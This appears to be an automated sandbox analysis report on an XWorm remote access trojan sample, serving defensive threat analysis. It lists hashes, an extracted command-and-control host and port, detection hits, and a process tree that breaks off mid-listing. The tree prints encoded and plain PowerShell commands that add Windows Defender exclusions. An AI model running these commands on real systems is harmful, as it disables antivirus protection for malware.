xworm | 830998a199250c7183288618febb35fd08a7848d3aae1cddb89c48d8be180b1a

Analysis

max time kernel
150s
max time network
141s
platform
windows10-1703_x64
resource
win10-20230915-en
resource tags

arch:x64arch:x86image:win10-20230915-enlocale:en-usos:windows10-1703-x64system
submitted
06-10-2023 05:26

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Loader_UEFI.exe
Size

679KB
MD5

c917837258e4556d08d1007a901e10e2
SHA1

033d5a327325f01252ae0ab387dddada6974a873
SHA256

830998a199250c7183288618febb35fd08a7848d3aae1cddb89c48d8be180b1a
SHA512

022faef413e99ae4175635e1eda70059fa05fd365ee71930fab27d98e5e376360ab27709ccdd19c8a9097055ae2a7e46381063a39813670d645e9b79be25d4f5
SSDEEP

12288:KqI9R0yf99LzhWjkRCFdNT9InralGCZ3ZvI/eLjX9qSs+B32O/ocOJMyPJGTlOzr:KHR0yfrzhWCqT4OQCxZg6jNLnm0oBiy9

Score

10^/10

xworm rat trojan

Malware Config

Extracted

Family

xworm

Version

3.1

Graxe239-61522.portmap.host:61522

Attributes

install_file
RuntimeBroker.exe

Signatures

Detect Xworm Payload 56 IoCs

resource	yara_rule
behavioral1/files/0x000600000001afd6-5.dat	family_xworm
behavioral1/files/0x000600000001afd6-3.dat	family_xworm
behavioral1/files/0x000600000001afd7-9.dat	family_xworm
behavioral1/memory/1336-10-0x00000000000C0000-0x00000000000D4000-memory.dmp	family_xworm
behavioral1/files/0x000600000001afd7-8.dat	family_xworm
behavioral1/memory/4260-11-0x0000000000640000-0x0000000000658000-memory.dmp	family_xworm
behavioral1/files/0x000600000001afd6-16.dat	family_xworm
behavioral1/files/0x000600000001afd7-17.dat	family_xworm
behavioral1/files/0x000600000001afd7-29.dat	family_xworm
behavioral1/files/0x000600000001afd6-26.dat	family_xworm
behavioral1/files/0x000600000001afd7-34.dat	family_xworm
behavioral1/files/0x000600000001afd6-32.dat	family_xworm
behavioral1/files/0x000600000001afd7-59.dat	family_xworm
behavioral1/files/0x000600000001afd6-56.dat	family_xworm
behavioral1/files/0x000600000001afd6-66.dat	family_xworm
behavioral1/files/0x000600000001afd7-68.dat	family_xworm
behavioral1/files/0x000600000001afd7-78.dat	family_xworm
behavioral1/files/0x000600000001afd6-77.dat	family_xworm
behavioral1/files/0x000600000001afd7-94.dat	family_xworm
behavioral1/files/0x000600000001afd6-93.dat	family_xworm
behavioral1/files/0x000600000001afd7-123.dat	family_xworm
behavioral1/files/0x000600000001afd6-122.dat	family_xworm
behavioral1/files/0x000600000001afd7-159.dat	family_xworm
behavioral1/files/0x000600000001afd6-156.dat	family_xworm
behavioral1/files/0x000600000001afd6-189.dat	family_xworm
behavioral1/files/0x000600000001afd7-187.dat	family_xworm
behavioral1/files/0x000600000001afd6-206.dat	family_xworm
behavioral1/files/0x000600000001afd7-208.dat	family_xworm
behavioral1/files/0x000600000001afd7-241.dat	family_xworm
behavioral1/files/0x000600000001afd6-240.dat	family_xworm
behavioral1/files/0x000600000001afd7-275.dat	family_xworm
behavioral1/files/0x000600000001afd6-274.dat	family_xworm
behavioral1/files/0x000600000001afd6-316.dat	family_xworm
behavioral1/files/0x000600000001afd7-321.dat	family_xworm
behavioral1/files/0x000600000001afd6-354.dat	family_xworm
behavioral1/files/0x000600000001afd7-360.dat	family_xworm
behavioral1/files/0x000600000001afd7-431.dat	family_xworm
behavioral1/files/0x000600000001afd6-425.dat	family_xworm
behavioral1/files/0x000600000001afd6-523.dat	family_xworm
behavioral1/files/0x000600000001afd7-522.dat	family_xworm
behavioral1/files/0x000600000001afd7-611.dat	family_xworm
behavioral1/files/0x000600000001afd6-610.dat	family_xworm
behavioral1/files/0x000600000001afd7-720.dat	family_xworm
behavioral1/files/0x000600000001afd6-732.dat	family_xworm
behavioral1/files/0x000600000001afd7-834.dat	family_xworm
behavioral1/files/0x000600000001afd6-833.dat	family_xworm
behavioral1/files/0x000600000001afd7-977.dat	family_xworm
behavioral1/files/0x000600000001afd6-976.dat	family_xworm
behavioral1/files/0x000600000001afd7-1120.dat	family_xworm
behavioral1/files/0x000600000001afd6-1119.dat	family_xworm
behavioral1/files/0x000600000001afd7-1260.dat	family_xworm
behavioral1/files/0x000600000001afd6-1272.dat	family_xworm
behavioral1/files/0x000600000001afd6-1420.dat	family_xworm
behavioral1/files/0x000600000001afd7-1421.dat	family_xworm
behavioral1/files/0x000600000001afd7-1559.dat	family_xworm
behavioral1/files/0x000600000001afd6-1548.dat	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3148 wrote to memory of 96	3148	Loader_UEFI.exe	70
PID 3148 wrote to memory of 96	3148	Loader_UEFI.exe	70
PID 3148 wrote to memory of 96	3148	Loader_UEFI.exe	70

C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
"C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3148
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
  2⤵
  PID:96
- C:\Users\Admin\AppData\Local\XClient.exe
  "C:\Users\Admin\AppData\Local\XClient.exe"
  2⤵
  PID:1336
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\XClient.exe'
    3⤵
    PID:5728
- C:\Users\Admin\XsClient.exe
  "C:\Users\Admin\XsClient.exe"
  2⤵
  PID:4260
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\XsClient.exe'
    3⤵
    PID:5800
- C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
  "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
  2⤵
  PID:2684
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
    3⤵
    PID:2664
- - C:\Users\Admin\AppData\Local\XClient.exe
    "C:\Users\Admin\AppData\Local\XClient.exe"
    3⤵
    PID:4880
- - C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
    "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
    3⤵
    PID:4824
  - - C:\Users\Admin\AppData\Local\XClient.exe
      "C:\Users\Admin\AppData\Local\XClient.exe"
      4⤵
      PID:4840
  - - C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
      "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
      4⤵
      PID:3980
    - - C:\Users\Admin\AppData\Local\XClient.exe
        
        "C:\Users\Admin\AppData\Local\XClient.exe"
        5⤵
        
        PID:2184
    - - C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        5⤵
        
        PID:1576
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        6⤵
        
        PID:2916
      - C:\Users\Admin\XsClient.exe
        
        "C:\Users\Admin\XsClient.exe"
        6⤵
        
        PID:2888
      - C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        6⤵
        
        PID:3948
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        7⤵
        
        PID:4548
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        8⤵
        
        PID:4416
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        8⤵
        
        PID:3548
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        9⤵
        
        PID:3248
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        9⤵
        
        PID:4972
        
        C:\Users\Admin\XsClient.exe
        
        "C:\Users\Admin\XsClient.exe"
        9⤵
        
        PID:1592
        
        C:\Users\Admin\AppData\Local\XClient.exe
        
        "C:\Users\Admin\AppData\Local\XClient.exe"
        9⤵
        
        PID:2212
        
        C:\Users\Admin\XsClient.exe
        
        "C:\Users\Admin\XsClient.exe"
        8⤵
        
        PID:3392
        
        C:\Users\Admin\AppData\Local\XClient.exe
        
        "C:\Users\Admin\AppData\Local\XClient.exe"
        8⤵
        
        PID:4896
        
        C:\Users\Admin\XsClient.exe
        
        "C:\Users\Admin\XsClient.exe"
        7⤵
        
        PID:3076
        
        C:\Users\Admin\AppData\Local\XClient.exe
        
        "C:\Users\Admin\AppData\Local\XClient.exe"
        7⤵
        
        PID:3144
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        7⤵
        
        PID:4408
      - C:\Users\Admin\AppData\Local\XClient.exe
        
        "C:\Users\Admin\AppData\Local\XClient.exe"
        6⤵
        
        PID:4868
    - - C:\Users\Admin\XsClient.exe
        
        "C:\Users\Admin\XsClient.exe"
        5⤵
        
        PID:3644
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        5⤵
        
        PID:1392
  - - C:\Users\Admin\XsClient.exe
      "C:\Users\Admin\XsClient.exe"
      4⤵
      PID:4320
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
      4⤵
      PID:2304
- - C:\Users\Admin\XsClient.exe
    "C:\Users\Admin\XsClient.exe"
    3⤵
    PID:1304

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
1⤵
PID:4504

C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
"C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
1⤵
PID:2824
- C:\Users\Admin\AppData\Local\XClient.exe
  "C:\Users\Admin\AppData\Local\XClient.exe"
  2⤵
  PID:4876
- C:\Users\Admin\XsClient.exe
  "C:\Users\Admin\XsClient.exe"
  2⤵
  PID:4816
- C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
  "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
  2⤵
  PID:984
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
    3⤵
    PID:2088
- - C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
    "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
    3⤵
    PID:396
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
      4⤵
      PID:3640
  - - C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
      "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
      4⤵
      PID:1580
    - - C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        5⤵
        
        PID:4036
      - C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        6⤵
        
        PID:3580
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        7⤵
        
        PID:4380
        
        C:\Users\Admin\AppData\Local\XClient.exe
        
        "C:\Users\Admin\AppData\Local\XClient.exe"
        7⤵
        
        PID:4904
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        7⤵
        
        PID:1588
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        8⤵
        
        PID:5388
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        8⤵
        
        PID:5432
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        9⤵
        
        PID:6048
        
        C:\Users\Admin\AppData\Local\XClient.exe
        
        "C:\Users\Admin\AppData\Local\XClient.exe"
        9⤵
        
        PID:6100
        
        C:\Users\Admin\XsClient.exe
        
        "C:\Users\Admin\XsClient.exe"
        9⤵
        
        PID:5028
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        9⤵
        
        PID:5152
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        10⤵
        
        PID:5704
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        11⤵
        
        PID:5072
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        12⤵
        
        PID:6028
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        13⤵
        
        PID:5148
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        14⤵
        
        PID:5416
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        15⤵
        
        PID:5556
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        16⤵
        
        PID:6812
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        17⤵
        
        PID:6552
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        18⤵
        
        PID:6260
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        19⤵
        
        PID:5724
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        19⤵
        
        PID:5324
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        20⤵
        
        PID:6528
        
        C:\Users\Admin\AppData\Local\XClient.exe
        
        "C:\Users\Admin\AppData\Local\XClient.exe"
        21⤵
        
        PID:6304
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        21⤵
        
        PID:4252
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        21⤵
        
        PID:6660
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        22⤵
        
        PID:6432
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        22⤵
        
        PID:6480
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        23⤵
        
        PID:6692
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        24⤵
        
        PID:6376
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        25⤵
        
        PID:6508
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        26⤵
        
        PID:4528
        
        C:\Users\Admin\AppData\Local\XClient.exe
        
        "C:\Users\Admin\AppData\Local\XClient.exe"
        27⤵
        
        PID:7496
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        27⤵
        
        PID:7512
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        28⤵
        
        PID:7784
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        29⤵
        
        PID:8056
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        29⤵
        
        PID:8092
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        30⤵
        
        PID:7360
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        31⤵
        
        PID:5836
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        32⤵
        
        PID:696
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        32⤵
        
        PID:7660
        
        C:\Users\Admin\XsClient.exe
        
        "C:\Users\Admin\XsClient.exe"
        33⤵
        
        PID:7668
        
        C:\Users\Admin\AppData\Local\XClient.exe
        
